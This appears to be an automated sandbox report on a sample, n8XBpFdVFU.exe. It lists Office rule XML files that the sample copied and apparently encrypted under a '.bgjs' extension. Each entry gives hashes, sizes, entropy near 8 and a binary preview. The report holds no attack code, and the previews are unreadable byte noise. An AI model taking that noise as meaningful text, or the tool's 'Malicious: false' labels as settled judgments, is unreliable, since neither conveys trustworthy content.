SHA-512:	02B6E77E0D2E296246489F0275E9D35E84A3D32593FB9EB38A1E4DCD611A6DF435026E0EB7A1408EA6A07BC6667784F970A188F2B14989A2FFBC618BB0E505F0
Malicious:	false
Preview:	<?xml..=...1.w.c.-.z....2.O.....c.......Q=/Y.L.7$7.Q...........<..x..`M}..9aY.J...r..:.....\Z.j.R..3W=.o..n._.HF.l.-B;..,?R\|...F.>Q.@...Q.".Fm.%..}...>o0..y.%_.A.gX..+g..d...g .=.o.1f...}..u.$Z:..i.$....e6.l[E;.f2R...gr?...M.......p.a..UYA.....F. ...9..Q.....3'...\....9_w.P...l..,...?{.A...L:&..O...Z..x..-..G$......ca.......@..pm..-%.`...,.i...c....@../.G.....7.S.9^.hg...8:..F.s_M-_.$.&y..S. ;Sc./4.9.2...eR...../....x{.j.H.....WA"~a./h.Bb..-NR.#i.....1..G..vv<..X.%4..W&Y.....+..t#.h@..uP..".x.+...,.L..R.z.5.Z.H..........(3...OFI........3...W...+).qNQ=..j.....8..l w.O...\%v..rS.~.<.-...d .....D..5.A...`.4.!FV;@.......i6......_ .."..p.6k.%.l1.....(.~/.....+....`..!W......D.un.4u9..S.b...W@.....yhY{B..A.....'..li.P.n.([...j..)K.. ./2.7^nX.M.B.8.:...2d..88oM......i4..m.......u..2..#duE.G......G.`.z.... ..2&.\j.<...1lL%C.....eZ......y..x_b).zT..=D+f...;j...o...#.....H.=...n8!..b8X.aQ.H....{....p...++M.."........].`*3r..R....b.3....ZW.I../m.K.-.

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120201v14.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	2974
Entropy (8bit):	7.930396369043684
Encrypted:	false
SSDEEP:	48:pCKGgoa1leLhxp+UF2Oc3+VrqIIWN3lSf07mVNaBDcpQYQ/fyNP2zwps05HiD:pCcoMlerppFmOZllWke0BDc+qNPWwpsd
MD5:	9FBCBF838E28D640D93EDF826D6982CD
SHA1:	7D7A4482CE0E14A1A210B3EEC0FC44CEB7E7538A
SHA-256:	F22B97AF8BF5AFD9C4EECCB05F318C7AF93469F68F70239EE74B46724961D712
SHA-512:	2F3FEA76E81E501A7CE1542B40360D0E1F2C9A4C45DBA10E0D9F13BF94F47812299DD15FCDE344162C8EA1A2FF334C9BA49563FD0843833B042C275FA7EA46D3
Malicious:	false
Preview:	<?xml^A...N...J0YkP.<."....6%g..i...,.......O.LE[mx.k.q........]..]Ex.......i.v...>)N.....!.......~L>f.......K...(..{.}/!+4.9bv.'. .pW.l..@`.?.c..}...)......Ii...h%...d$8..F ..;y...$.F...>..>Q.P.G..TA.a..u..^/.2"..Sy....>..+...b?...j/...\|...6..../.L.....n..g.n...i]........Pb...TL..VMH .....di.#..<.I..PJnz..T.@.h....._8H1....]"..V...5..&.H(.....?7...B..?.R\|.@,.+...R5.i]tTk.N.F:...#.+.v6..........z.q..^....-.u...MW.\|./r~~...,....c..3.I.q6..6..}.:%.I...;...'.(...N.Jz-.r.X\0.[a.YB...."..........A...L.]Dy..=..O.D.fsuyQ....]..2..4.../..h.lt..p>P..`.....l&...BY.....^...."..~9.EeC......s...-..1..2fa.{.U..;&T...`...c.......>v#..&.J./]$A.[^:y.^$.......@>.qV....."....q.. ......f.Y...o1"......f..&:..+.{.dq.l.t..B......U..SrdT{.....z.K..].....}....].?O........)*......v......'w$.)..H..\|\`...lv.5..&..B..b.2...3.. &...!,8..:V,.'(v..7...'...RM....T.zk.E.%..x.[r..O.tG.....cin..<.G..\G.wy..L...+..4.oN/w0..^.)...Usw..}....5w.)..^.kFh.;....j-2.4t..._>@;.$..6..

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120205v11.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	3363
Entropy (8bit):	7.938329921644254
Encrypted:	false
SSDEEP:	48:qfsHUpF6v5GNybTRK2aUtqy2/KdszNfMO7fhlnshsH37eAvpra9Dicn4svdeeIrn:mavQAQU0ye5M+MA37N40qZnIrsSQDa
MD5:	5731D0E435FB5562F496EB6158B9DA84
SHA1:	E541922B60EE65437BC1C796EF9FF4E34BC85781
SHA-256:	1AB3FCB160C2A8649F75DE8C9D02DCC68983DE9FAE652F64D6610583640E3E0D
SHA-512:	B9FDFB8AFC0458BF7BDC289D07D079BE442597CBB74F9AEDDCC61CDFD943ABDC1D86C89EF30CE5AB5D95594BFAF447085EE9BA74A2AE869E8F37C4EC8CC0F38F
Malicious:	false
Preview:	<?xmluMY3.:.V......HA......Y,...ie.Z...M.6...q.....?.T.Q.zn...e.T....s...l.v...g..W@.#;.[.....+.....{bS88....L.U...s...............}.xd.+.Z&.a..;.......5.#.<"`KML.3...i....h^@..D..]..F.....w.)..eb@fe\|Z.Kr.5U..x.......2..U"../s;A.x)KE...m..4.s5?..mD..=..u7..}...z..6.....D..:..#D..w.E....}..........v....;.Hd....g.N..%#h....e..i..}..A..T.z.{)C.L....,.......\$"K.{!.M...=...!.0.6...A.A. ....4....v.{3..^.^...+.T.."...K..O.g......m.lj.VW....o.....=..h....L....+.0cS...J.sU...`.j.A.1...'/r.~......cI.4.Qi...N.f.Z"{IV/...........Q=l.&.m.O'.7../8?.._U.<..R...D.......v..l..N.c.3...q..vL......e..WQ..q.......^";...,\rz.TMX..@j[.@...a-...V .6.A.R..h.a.....I.Z...Y=U.... .H.>..G......".X....Kge.@e.B...Xj...Qj.I#.mCb...!..C..]8!..I".1......z.!.@..!.a....Mbk..,.}/>g..LK.F..!..]......].....A.]n_E...A....=.X...B.E..."........,..{.o.Y.....J.=N5...Dh...},;......B..==.z.3..{..p.dZ.q.-...f.J^ vw.8.h..1.f4...>..%W..>..h..6.2..../*..5.. ......M.0t....c..m.&.......0..

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120300v3.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1295
Entropy (8bit):	7.840237719794853
Encrypted:	false
SSDEEP:	24:wE/AKDfTpCP/4Fp7aGURylmkOfVRB7lT8zd90ezGNwapOg8xnGgh/hIHbD:w4ToPK2GYw217ULqPOjnj/hI7D
MD5:	0F19725244066DA9D209A5956ECE8F47
SHA1:	01FBAB1FA3A757A1093DD7231DE38566FA316ABA
SHA-256:	0178333BC3FB33788A6008BFB85C49A070B08D931678EFF2DB52BA866E585F7E
SHA-512:	2008BAB0E1B8B1E2686D6E92C0352F6474A87DB2CADA81E67F5E4CBC445D0B3DDCEB3F099038006EBAE4CD108285830B94A490DBB0226FBD1F23AE70DE3796ED
Malicious:	false
Preview:	<?xml.'b...o..tU.\t.{a..A....{AMB....-..'.....R..k?..N.......H..............Ca..1.5.K.%...3...M9.V!..\|...cE..@D......gg.\|.)..[...-n.Y.a....`...%..........._..~.1..yL.e...Pz...F..>..._m..H.1.\,..L.......#w9.......\|...d6%.G.y......L..Al{\|.1.u.7AB.+.t...LPX.o......^.....5.-v.0.4,Yt...#....CRH8....9..d.iR'.S4...`<..r;[~.!.Y.RED..Z.. [.Rs....,.AV..uy.Y..Z......]r.t..Z.../.j0'.#.!.h...I..U.....k....6....h........fYd.K....I....jcd....S....WnDJ.;FP.....u6V...O....@.4.J.O.R....TZ.....^...N5c7w.SM.yz}.RO..H.).x......oI.h.Ai^Eq.9.51./:...6s.k..2kO1...T.X.t..E7bd..t5V....`~..x`....]..=...........Q5.....zO.uV..s.>/e.....r.1.<..c2/.{.S.C+0......Y...T...O....?.'...G..D .3-p....>iq..5.....+.w.d.i..+..#>J@.h.....XJ...Z.B.-....v...`.c'..>...s...<N..:.#...q"S.#....n.=Zv.C......S.....n.q.Yxn.$.~h.........?bzy.9..%4.J...^....P...S...UyF*.3.1\|......3...2...L.Q-+_<E8........03....C..7..D.....4.=...g.z........is!.+).m..p...2..y..q`~..azw......b5.n..0..y

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120304v5.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	2582
Entropy (8bit):	7.92480643454475
Encrypted:	false
SSDEEP:	48:+97E53vYzy1teiQRJWUutimZc8xdZSkzKFajFFN5KmD:S7E5NKzT2FzxdZ6FajFhf
MD5:	1406D9CA5561615EA1509A8CD7362FE9
SHA1:	92C9BBCB0D512AEE66FD0ED0F67E1A46CA1459DD
SHA-256:	8D58D2229B1C81F05FD708840E4A406BAB966ECBF3720D03E12E2852ED41C0E4
SHA-512:	74FC90EAE8403DA46F359A77CEBD743597850535723A9CC5D63655AD0A657D61049F63BDAA786476E196C3A3B85F7437A3A379371931001450B390ACDF14D747
Malicious:	false
Preview:	<?xml...e....'Z%...Tm..>.g.s(.v...G.+.......,.......,..`.."EQ._..-.).t..}..n.<U.....Gz!..C.."A.Q..w.....R......@.@#/. Gm'e1h.:...>...V...M..Nw3_..........}.c.Tl...2~m..h.8..O[Z...b...(........%.....T..{4]T.}....-...B...$../........H..31._..A....B..W.z<xH.Q/.H.....}.,;.xUS...}B.....:.;c./Fg...~.Fb3...,s.\S...eW......(.{i.\|.Kh${...H.K..U....A..9.S......g..i..WMl.r..V.q....6.hM../.k.a....pk.P+.%.t.gdh.&...4...Q.+s.GO..l$\....!k...f....~6@F.}.$..D#.1..xh.Pr....4......t..#Tu.m$.3p\|O...Q.JuR(g...G...,.`..h...W.D.....]z.`fU..._.....e.q.&....W........vi>).O&..O;...... o.b?..._2.e.=.D.3#.V^.....V.....0..>......p.%x.'."..U.lS.n..U.z. w'...>(J..G6.s8..6F...,..z..]a..j....m&F.j....l^....@......[.k)K......._...s.odsF/.n.Hf[.\|.......J...oQ.......1Uu..y.g..=..MG.v...dc;...G". x.;......=Y..R.=.21..TG.3l.......;.B(....%..Q.FZ3.e.Ex.[..[0oV'i...!Q.....h.V...F.4/.........8l......p.....Z..F..."....#.V....Zh..2_.....Igb.....~..Ogq.....r..(..D......E...'..

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120305v3.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1787
Entropy (8bit):	7.910063568279862
Encrypted:	false
SSDEEP:	48:G5iRWKZAIsSdEkRf1xeYX2A70JcTwR46+7ovZg7TD:nRW/8vRfbewB7ateLb
MD5:	64D8F4433D5DD7F8CFC90B99AB2B023E
SHA1:	3950641CEEC4D25C837019B8DB45068613EE3574
SHA-256:	4B5FB84C6333373496F55E0BCF599F5D0E03E57A5716F0389A35D44640FDA544
SHA-512:	340ECD6558298E02DC401B9D2591D59F8C266DF0078728F2D3260927B16D9CCC8B52113D5C239D5451893A551F2B48DE431722A99330F185DF0DF2A13CDBAD17
Malicious:	false
Preview:	<?xml..&4\1..DC.GH.... ....I..W..i..G..y.kj.#.."g..y@/....h......]...Ao.c.:......S..........:..O..n.<HS.%.unH#..N..._1..s.fe.. +...,<.gX.L..+..3cz.z4C.Ps.'z...(...J.."...%...!r..i....=<......!.[.?.3F:^.0....(1.?........[... ......^].b..`...hR.b5['.Lp.....m....m#t~/..v.CF_D \W..\.Z~....]x..n.:...........?..8.O.../B.FN.....-R_...k.}..;..._.6u_.B.2.\|..o.O.4./..N....6Z...%-..p..a..3...qd...x..f...d._0...62...2.#.M....X..nw....$Z.6...^.c.4#..6...(....6...S..$L_i.,......!@V...0...i._.......%...+...,......../......'...K.o9@..u......g2..[.......w.Cps\|....'.p_.......I./O....:t..B.2F.L..Q..u....o..=Q...}.Lsf.y..t.{b!....W.H.......Z.w......E.......e...X3......Up.\|..-88...r.&..T(,\Y.8..P.........Xw8tX.X%.f..D..[\|.q.y9..C.....(.Av.O].....+n.U.3>......._..+....u.Ll)..?=I.2...J..h..~.y.?.ZC.2.[...-..;(.C...T...>v.TVh.jYN....tc......F..TF.3;z...V...',....RA.......z.T....h+s{..;.9.vh..j4..Wy......}..t....hL..A...u.*.h2-...e.. ............HU

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120307v1.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1583
Entropy (8bit):	7.881524989377714
Encrypted:	false
SSDEEP:	24:o0H0tU/tJaCKJaqIRDXGFx3xsaJb0Bq6Em0iHc8jKKHCSa/RGN5JEbD:lUteeUe3xRJbRdm0i8rYCSa/INfOD
MD5:	8782DAD3DF7917A13CC3C03F794A43A2
SHA1:	A6CA16CE27B3173EBC81FC06AA3097A0EFACFE44
SHA-256:	41EFCE5021716E68CF2B81C6A5ADC7CAC0817899E765EE5594EEA40FCBDE97C9
SHA-512:	24ED86B2CD315402DA409567323777F6662EB7630A0C1B41735C6534BA707678CC648C105C91F68D728F97256A02E17FDA3E0D5ADC9DC0A590E96E5EAF22CDAF
Malicious:	false
Preview:	<?xml...gkh..v.t...g.i..)+.G..l...L.....k...........kW....T.H.vy....Y..`.:..h....~........GS.{-.Y..............h....G.1R.......;..cs.....%.u......I5o...n#....j..7_'..]{.-....2....8WR.....T\....:.1h&+.....kE.2.n...T.)$.b...{..Uu5.Xou.Z_M;...L6t.!../.zpM...p8......4.(4..l....EM..G0.U....o...L~..h].....4......Q...+B.:s.....\|......'..e.4oT?.j..=..:..sy....y................T7......^:gb.u.../..:c.}.\|.d1..\&.p.A...KzE3........../.k..D....\|F7....:....f.^S.0....}...I.v..,.%.Y."rO....i7.h.`.ab.}..;+M.o....3.v)....y....w..uJ......(.. `\D.Z.u....../..z...}R....~..DC+..>.....^.C....p./.F.z.d,..........m..b..:t4..b.2.../+.k..,L. ..r...n.Q..'H..Q.W.&..._.R.......Ip.cu..4(`1.%?X....._.$....<.S.v...=.%.1....Q..E..I.U.J...T.q.......JV.........c........w..54m7.s.0t...T=4.W4/wl .N.da.P..^.....ADt.Z.{.c.e.P.Eq..xA..m....~b......F.L......q..8.Z..G.....f8....#..c.q........./p..C..O_..N.7.:... w.....f.0..(....f.z5S..Xu[l.z9..k&.w.E.Ar./.@..K.!i.P.&.g@2.=.

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule12035v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	2801
Entropy (8bit):	7.93330613263934
Encrypted:	false
SSDEEP:	48:0DrHVcRV9CZTfPwgxjxb7sieunTlhbOrsvWDJkVdJToKu0IgQYmQXAidpUiiHD:0Dr1yk7wMFgiVTlJ6DJke5V+1dpgj
MD5:	BAF299A6F4EB6660DC9362FD4712BEE3
SHA1:	FF1AA64E048E89E37886A718237A4B5CA70B2E1A
SHA-256:	81DE5E93B9AE7DD644C8AE96DF03EDCC9DB14CCE644002BA5EEBF4CE17C4D781
SHA-512:	6277F03F904297415659A6B72A78779E2B0E53AC896ECC395F2649445EF24ED4B3DE13DCE27391B66A2F47D383B7462F2E7079B06FA667372F2C4B796D995958
Malicious:	false
Preview:	<?xml.<....pt..#.o8.`.+.H+.].}].s=...>.H....G0..]J...)..`.&.Hg....H.A`.{:v#...6.-.cr+.X..J..K.\|.p./.....[.^..c.i.2..U$.K>yQ..3.yI.....v.qO.H....KG.....nGs......V.. .~....ak.......~.<.z.......x`..=...\..sZ...5.....@...JSx.z...4q..QQ.<P3.. .^z...D........P...W...d.B.].y..q.. ...W~.=.sW~s..!....j...v.%q..O.=.dl_NN.X[F..4..../<.. .........(.~.k.g.^.).I..~.4\|....w...8...P..!.....u.#wl../v.S1.S..S.2D.....~.&.E..-..T7.@....Eh1)I...p......D........gT.....A.C.6.5.7Q....+.l....e..c.C...j...B$..U...!.54ps:.'3..:..eS.r.>..}.. .Ch.....6.i........7e.F.tt.Z...K......J...{.,@.5...=.._.{D....A.V...I}Q..0.s4.%...,P..w..6Qk5...`.O...`{$...<..Hq...E...Cy{+...%7.....}........\|Fx..L.w..%...v^n...]....P...4H...h.Q.....&.))<[......v./.V..wz.......#b..A....S.0..c.R8...=..u9.....kL.~;..C......tI......?R........il..]5..5.o...%.,.o........*.m;..E.nyi.:p....1d.^5~.>k_.Ac.'.6......D?....:p&....c.7......s\|0J.;S.........,&..w....1.C.....k\M?q...BY#k0.3@n.]..0

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120402v21.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	4121
Entropy (8bit):	7.964816913453758
Encrypted:	false
SSDEEP:	96:VEDqb4WcM08OuuEnSZ/zwqp1bn4FrmJfTVtczCr:8qbJ1kRzrOrAfBtczCr
MD5:	69FE690F9E4F7DFC6051AAEE3D9B5D88
SHA1:	AB14C0B27CEC6089CAD8794B596F53290E567444
SHA-256:	7140817D68E2B96CF5BC8617F58489667FC7FB283C3C7E70EB2B201C7A5F665B
SHA-512:	5A8647358B06232BD487B8F0061F83A0A7DD071D55BAFA7A9761343903D7F9AA3111E00BE38D811E2D03700BF7B80331743EB59C6031678774C889F2767309F7
Malicious:	false
Preview:	<?xmlkB.I...".s......3n.....0<.}..G....++........D.D.....l.......g..M.1..3......TEHzq.Zb'...khV...._'.A.."V._.......A.....&.b.V.y.#l6...j..A....8T..!Q...t9.D./..@.:\' k/J....\7z......\|.....TtK#.}b.?.c.DKL.U$.e..N.ZQ...}[............M..o.......t.....I.z.u@.W\......0.....p...k.m......f.6.1(2I.g.d.v.`l..V..S.!..Sd.((..P.S...}{....k.....s.ps0..O.$..K..+.5.Z......$G......aQ.e....:....:.z.ukz.....c.#..p.......,.wg@..c+.)k.CbTIVb..h.ML.!....F2.........(%...G.?....<...1...o..'..+....x%.........l.-..).r{..Z`.....m.<..^g/..B...6..!...'...u....Z..'.....o._3m...L.%[..Y.\!qW...[..4.p..d......e.f.R...1._$q0.....1I.pC.5.k...j...A,h%...F.o.....-..Q:....F0.W ..q....`..q....4^.7Wq..}Z.KM...,^.`IN.?..3kw...V...x'a.1.4.MO.[.a{.TAI....S."..>...7.G...>....X.@....8..."......A7B.i...6qdg..E6..j9..?Q(l.1..M.]...$.......w:.v..N..x.}d...F.........T../.X$. "..Ec.y..+.$.t..#.2..y..z!BM.t.......Z.2...j./f7.!<o."p...P.P...5O....)7......csPML.j.P.%.O.P.....&..YJ...7..

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120501v17.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	8140
Entropy (8bit):	7.976108012563757
Encrypted:	false
SSDEEP:	192:0TeFmjYS2VJJ2t6dyTGOQOX85UkzWzua75OW7:0TemYSKJ0TGROs5UXCa77
MD5:	90DDD21F9A02610121E0157DE4DD7B8E
SHA1:	8BF0396DA2CF6F10092C8128D45C09664752DAB8
SHA-256:	80629F1CE796C03836ED526071F97A73E7EB9FB5DABA45079F38D25C0AEA80D9
SHA-512:	A245E2EFF7F9A2B9B4176F0C4A2214EC05EF9CDA642662A5F8694F8296C2343A05DA07DB6791AF5E301DD47DBF5824D45441B5850A4A9141721EB96FFAD0C8FC
Malicious:	false
Preview:	<?xml.%.=... .px....hyz..R....Xj..)Z+._....p..Q{;........>....Q....8..a`7H.Tc..SI.../TE...o.@...].J=G.l.5.X...E2.+....4.?b.Z...6.8.o...b......=QI.k-4y<......$.B8.\|...J..lC...X`...I- .I..q..ua..a.............3B.=yj.V#...<...e.U..m.....4]....=..m.s.....urd..sw...VT#...(.G..Ap'.m..[ ...H..3W..7.M....7...!1..v....a .d.~.3.6...#-w-b...B....W ...n&..(...[...N.....,.._...C^...9.....o?.D9.>....G.............n.....o<.T;..........PQ....M../.H..pBb...p.......p....$.......Df..6o&...@...q...+CS~.Q.qKB.El..[. a.....,._s?9?.....5.r.W....P.&......MU...=.!s..n.kU6.^.C9_/Q....d9.....M\vj.l....."1..,.:...j.8...8.$)0....?.cX.w.F.T....Z.Xj.Bz.n1\|..Ra...B/.5.....!;.A.=...Q..tz.....A.A.Q.w....k..i.JL.vYp..... S.~..F...Y...W...j..=,uH..f..b..4.V.[Y...D...`.p.r...w{.........e_...Ek. .... .....BS;.R$..A\..O.;#}$.x.J.?.<1....<.....<,B.K...HS5A..s.;.]...QoIa...AR(L.t.....g....W.1.Z.G%......k.?.'...d..0q..g=G...S...S#.....eP..i..f9.S.,...O@.....@.F..g$l.

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120600v4.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	3313
Entropy (8bit):	7.93980685168004
Encrypted:	false
SSDEEP:	96:HNi5IXn9lWAp3t+tiytBstIGXC2oLSd60jk:WIX9xtoJoIGXCT2lo
MD5:	0D058C9A75A4C3375A9E7055DFD90FC4
SHA1:	C30E2890A1B2556FB71DE2A8E5E8726B43E334EA
SHA-256:	C15A65BE427C793ED53E81CC8840521D0CA1E4D2F47007001820F05776110AF5
SHA-512:	9DD4C10025FFE8B2CBF899B0C1FFE6089518FE9BB4460E087921080C2276D42E51BD1F2FCD806783A4280C2A1A2E2A2DC55FD9730CE9B6D9312B3F11AC8312FE
Malicious:	false
Preview:	<?xml....t..............`..%.G...z.u,.&ks%).......aN...Jd..[q.I..:..R.QE....`..W.m:.n.N..B.......('...:...M....0.........i9.%...'.k...'$.~7(Y..P.....rW..e~...k.`.%...X.....r..\|.......=.t".F...IH.i..'..fh.....M=.....%+.L............pS..V..=.7............:Y<......>3..po)......R..l.._..g._S.3.Oa..;$.v.....xjP..K.Z.0....{m....=. .X.,%..k..../..w.v.!J.f...n...j.%tf{.....u#.........x.j$l...c.x..g.Cp.^...NXT......@..(....9...W.j...F1.h\|.\|.....<R8.)..F./...e.(.F~-.Y....S0..N`. hb...G..cX..4:{..x...M..N.......h..).@,..............y....Z.oL...n]..E..........M.5..g.....`-.^+.n..c4.....P%m.`.C..YI.\|...y.......J..1..`..h.Kv...'...z!-}U.(.\.35..jlg..J....A3.I.y.R...J........\S..u.....QP.F.w...l[..4.).....3..z.0.)....M.............".b.=6.ra..~..C.Z.v..PL.....s.w.....\..``..Lw...5.........(..5...U......}...h.F..P.P..@v3..$.Ck3.+.9..,]...QX....AJ. .v.V..S...(&{.....S..e.I...=.R@J=.W.Hc..E..)O...B.................[.~.M.}.D..+/@.T.9........

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120601v3.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	3675
Entropy (8bit):	7.948047181360718
Encrypted:	false
SSDEEP:	96:2n9Dv4NlbnMwPJ1l9re5Bit4S+/FD96Wr+VHIHJqfw0:mDv4/9KQ4PFonapq40
MD5:	2F055FBB891AA798C1408CDA178FCC4E
SHA1:	CF73136FAAFE3E8FD1617BF2EF2142CAF49D8FF4
SHA-256:	4D170F6758517B770C45335BBDC6D20336F9866F556A0038C501D8E5A6D6416D
SHA-512:	832C971F690D119A790C4C5ADFD2FC4563BB8169B8166281B3B6F272E4E8CBBA72C22CF4F2BD46CAE3D0CB09B01D46EF7FFC9A7A61647FBB54DA286EC5F7A644
Malicious:	false
Preview:	<?xmlr....u...}..........=.Bi.d..kP._#4.....$.>. ....[X.ncj...o..;.{{t.._,...s..5b...D .0K..y.{.......[^.%........~......(.....F....B...f#..ti....G....ao.-~@q.....b.k..v.d.Cc.H9+........66I.B.g.%...X.....;..S...3/.~.-....@.qL..vM%..K.LZ.d..w'.$.=.'\5....K.t..8F.iZ.....p..xLV..1...A..&...+c'...).....x...lj~\....H.n!d.>...d..QS.....W7j`..s.G..........'..."B..G(b.=..l....D...t.....^..>X..bp"....0%.....S.-..G;...2v......R......n}.Sz.h....B.v..5j..A..x.K..!.6.k....Pk.&.S...E.@....%.X&.\@c....8kHHw%...\|[>5..Q.9.U.qRI...%ZM..A.I...4..F.Sj.qi...9.'..r.......6..9.^..~Z.kx\.Qn...K_QO......e.s.........,.<:...L...'..m..{.0.'.........b....y...c<wk..k{....%..o.c.6....@.k[.d.=...v.kjx.....K...D.V{.e.:.......%;...Vc`._1......re.TuNI.g..;...".^oC.!t.RX.vq.U@...6....=.:.1:...Oh.b.-.....$X....A...C?mq.............Y.....0rJ.I.~....D.RV..t./....T..&.E..O...C)..z@.P...1.&.....m..R;........XOE.d....T8...C...N.0....Pi...kA~.U,....3..d...a.a2....@....<.@....

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120602v8.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	2924
Entropy (8bit):	7.924959163021804
Encrypted:	false
SSDEEP:	48:2cqaQ6BlX1UbEcLlVHsU9yfmtIO/7gnVS5u4HddWTEmmC9xwd4POsD:2czBjWEcLlt+Cze29dWT3L9xwd4WI
MD5:	D799D1A2A467D75DDAAB0F5C39183CC9
SHA1:	81479C3CE01BB48032E4C265019D1E1D7A19C2E7
SHA-256:	8315E6372E6B4D2DEBF4088D2909BA38CFEB77DE1A3E8B521D1EE4D5ECFFFB35
SHA-512:	3D639848593FD2B1083BBFB4D976A8DE0366907E7200FCA1D210F544886CAF507AD5795DDDC870A6792BCFE061448F8BAE75979361C34004E740ADE8D71930B7
Malicious:	false
Preview:	<?xml.b..'ao.3=6.;.zne.r.q.t....H.i....Kk;.D{..cN...+.z...b..%e$Z......Q.s.........~..^..3.......[z.@{.8..G..245Ii..p.<.H.~...c.[t..-w...yA1+=~..X...g{..$.dK.'...7m..>Wr.4._2..djOH..s.i%~.c....R.7.{t_.b...k.,........l.. .....W...U/..p".`dsQYah.`.M.M.^c.14..wp6._..#.J..g.....C.....t....$~M..Bb..&.`/.... #.5vS.E..M=.g7m..~.... @..&zkF.[.\|`....S....f=..1.v<1.B.j&...g..W,.b-..{.x..-...r..^.eP..DM.;Y.Zq.........Ii... .......JF!pH...R./..;j..ij4ml..".E...-.N.l........5?.T....;.oV.WJ....=...2.h.+d..ZqQ..}e..?c.....>*y.$x......'..I.-.,:r..k..y..._.....#X...O.o.....li.._....K..]-..7.l.n...DP.."w..DL.....Q.".!.8.B'W,...s...!. .-/.>.?...\...C.q...(......L_.-..7.p.9,....K?..N..).{.N....0$.T.,.]...L-.Q:+.1uF-....1i%. C.....R..1.l:..z....k...=b.Vx....n..G.%.c}E....G)qt..T.R/......(%...\|...Oi.v.F^UU..$.{.....<...~.....[...E :".3......{.2<./.K.=..;..Q....N.+I..=...Vfu....MA.#.@...5.>oB....._.M.il....r..c....9.5W..PhR'.:...j.\..@..3,.\|...W.<....2.>..:..

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120603v8.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	2461
Entropy (8bit):	7.923150866754886
Encrypted:	false
SSDEEP:	48:GUmf/x9U9+lcuWHunLI1GZ9gXW172MjgxWotfN1fF9sePvIpsq7rD8F4NyD:GUhQWHK8+9n1PcWgfN1dPP4rK4Na
MD5:	744866CD4A50142BC315C47A5E618265
SHA1:	E078B992DBA22FDF2D018021867D88B9E5E27E2C
SHA-256:	3F403A75AD35FEE56E515DCC5D5CDCA48731AA9DCC53E4EC0F2597BCA72A2D2B
SHA-512:	BB93F8B3432BBC4B671EB1246433007792191EC9CCDA437CC8DAD809E0723DE5FC870916EBA9E237640B4DAB4E10F137435CB18969E1CF6BD12A3EA4857A7AED
Malicious:	false
Preview:	<?xml@E.>.+8.....-. =\|..z.C....>.k...%..q7..R~D..\|.3.F,.[q S....A..4k.[.B.U.t.{m.Kw...$JH.6.. yt...h....K....p..L8.X....Q......@..E..O.]..A..'..-.C$....<P....PA.K#..l.].X.J.E.8....J..Q..=+[..iJ.N'...xh{...8...f...@cr\w....Vx:..SK,..o......(G.<xb..o..1<.qTDR.. .i/.bNX...=....U+.2.F.........-....$."%..$....~Q..,_.........?L.m.i..=..`..M8....FU8.2...oA....o'.e)..8u.J.F...z.w%.U4x...T.@.r..4.B.W.....W.....,..H...C.:(........./.X....n......Me...Z.........8.n.2G=g..a..\.Y...[.x..../..Q#G..KN...0g:..-.(.]......i.......xO..i........k..].@5.Yk.4[.L.&...<..4.=.,..T.........{P.;.AaR_.......T....l....+.HbS....[.5.p/.gn.........r....(..Y.C....Q.rW......].D^....*l..t..v.....p...WG..su.(.6...e.CY.MjC....]\|.qH^\...E.jE..N.(...h.:.........o........o..T.k.t..s>.R..$pjL. ..e-2.E.B.Sc.`=4C.e.m....5%......7R;..S.n.R..........v...9U..HN.XF.....F..V.".k.C'.Jx,...s.Y...h...e.n.k...%.pms.v......P..j.L...3.D.{z.u...X.:(.!..6&.gAe..o..%...t..-[...k.-.b.5..+..GPg.

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120604v1.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	758
Entropy (8bit):	7.70470142384675
Encrypted:	false
SSDEEP:	12:AIQTJ1rbXjfMNzmNNeULg8ulHnyinXbH7AsM0GYDkzKClWpsp2r1+cii9a:ApvbTEx56RabnLbAs3RDOopsp24bD
